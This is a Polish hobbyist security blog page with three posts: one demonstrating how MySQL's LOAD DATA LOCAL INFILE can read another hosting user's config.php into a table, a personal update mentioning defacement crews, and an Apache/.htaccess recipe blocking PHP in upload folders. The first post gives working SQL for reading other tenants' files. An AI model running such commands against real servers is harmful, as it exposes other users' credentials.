LOAD DATA LOCAL INFILE - niebezpieczny odczyt plików
 Oceń wpis
   

MySQL pozwala na wczytywanie do bazy danych zewnętrznych plików. Służy do tego polecenie LOAD DATA LOCAL INFILE, które jednak może nieść dla serwera pewne niebezpieczeństwo... ale o tym za chwilę. Stwórzmy sobie najpierw tabelę do której będziemy kopiować zawartość naszego pliku:

CREATE TABLE `test`(
`test` VARCHAR(255)
);


Teraz spróbujmy wczytać dane z pliku dane.txt podając do niego pełną ścieżkę bezwzględną:

LOAD DATA LOCAL INFILE '/home/d00m/public_html/dane.txt' INTO TABLE `test`;

Polecenie to zamieni nam każdą linijkę z pliku dane.txt na nowy rekord i wpisze do tabeli test...
Oczywiście plik ten znajduje się na naszym koncie hostingowym.
Jednak sprawdźmy co się stanie, gdy spróbujemy odczytać plik innego użytkownika naszego hostingu...

TRUNCATE TABLE `test`;

LOAD DATA LOCAL INFILE '/home/franek/public_html/forum/config.php' INTO TABLE `test`;

Gdy administrator serwera nie przewidział takiego posunięcia użytkownika, plik z danymi konfiguracyjnymi powinien bez problemu wczytać się do tabeli test...
Natomiast, jeżeli MySQL jest zabezpieczony przed tego typu atakiem, przy próbie odczytu innych plików niż zawarte na naszym koncie hostingowym zwróci jeden z błędów:

#2000 - Can't find file '/home/franek/public_html/forum/config.php'


lub

#1045 - Access denied for user 'd00m'@'localhost' (using password: YES)

MySQL może także wypluć błąd, który mówi nam, że polecenie to jest wyłączone:

The used command is not allowed with this MySQL version

Błąd jest wciąż dość częsty na polskich hostingach :)

Pozdrawiam
d00m

Komentarze (0)
OgółeM :)
 Oceń wpis
   

Ehh... dawno się tutaj nie odzywałem. Spowodowane to było, jak zapewne się domyślacie, końcem roku szkolnego... II klasa - completed! Do końca jeszcze tydzień, ale u mnie w zasadzie wakacje już się zaczęły :P A więc dupy, browar i imprezy to tematy, którymi będę się zajmował przez najbliższe 2 miesiące xD W między czasie będę też driftował za kierownicą [L] 'ki :) Na razie mam nudną teorie... Hmm... po ostatnim wpisie dotyczącym blokowania plików *.php dotarły do mnie ostre słowa krytyki i pytania dlaczego po prostu nie zastosuje w takim przypadku php_flag engine Off ...  Szczerze to sam nie wiem, dlaczego o tym nie napisałem. Sory w stronę osób, którym wpis ten powiał amatorszczyzną... Jeśli chodzi o to co dzieje się w sieci to mam mało do komentowania, bo dzieje się niewiele. defacerz.pl padł i wciąż leży, chłopaki chyba mają problemy z hostingiem... Podaba mi się natomiast ostatnio atmosfera i działania na Devil Team'ie. Nareszcie coś się tam dzieje (mówie o działach VIP), nie jest źle :) To byłoby chyba wszystko... Nie wiem kiedy napisze kolejnego art'a, może niebawem, może za miesiąc, są wakacje i czasu mogę miec niewiele xD

 

Pozdrawiam wszystkich

d00m

Komentarze (0)
Blokowanie plików *.php w określonym katalogu
 Oceń wpis
   

Często zdarza się, że musimy zabezpieczyc dany katalog przed uruchamianiem w nim
plików z niepożądanym rozszerzeniem. Aby to wykonać musimy edytować plik konfiguracyjny Apache, czyli httpd.conf . Wstawiamy do niego następujący kod:


<Directory "/home/user/public_html/secure">
<Files "*.php">
Deny from all                              
</Files>
</Directory>

Czyli blokujemy pliki z rozszerzeniem *.php dla wszystkich w wybranym katalogu, który podajemy w formie ścieżki bezwzględnej.
Taki sposób przydaje się w katalogach uploadu plików. Gdy ktoś ominie założone blokady w skrypcie
uploadującym, pozostaje nam jeszcze ostatnia deska ratunku, czyli właśnie Apache... Gdy ktoś wpisze poprawną ścieżkę do takiego pliku, pokaże mu się dobrze znany napis:

Forbidden

You don't have permission to access /secure/shell.php on this server.


Na wirtualnym hostingu prawdopodobnie nie mamy dostępu do httpd.cond ... Jednak podobny kod:

<Files "*.php">
Deny from all
</Files>


możemy "wklepać" do pliku .htaccess, który umieszczamy w wybranym do zabezpieczenia katalogu.
To wszystko... prosta i przydatna sztuczka :)

Pozdrawiam
d00m

Komentarze (2)
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
Ankieta
W jakim języku programujesz?
C++
Java
Perl
Python
PHP
Asembler
Inny
O mnie
d00m
"...niema rzeczy niemożliwych, są tylko granice, których jeszcze nikt nie pokonał..."
Najnowsze komentarze
2010-05-26 14:17
barbies:
SQL Injection - zaawansowane przykłady oraz IS
i mam odgadywac za kazdym razem nazwy tabel i kolumn?? czemu nie napiszesz o mozliwosci[...]
2010-04-10 22:07
too:
SQL Injection - zaawansowane przykłady oraz IS
A myślał ktoś kiedyś o włamaniu się na serwer hostingowy z bazami MySQL poprzez założenie konta[...]
2009-10-24 14:51
s1te:
SQL Injection - zaawansowane przykłady oraz IS
na stronie pojawia się błąd mysql, robię union select, a błąd nie znika ;P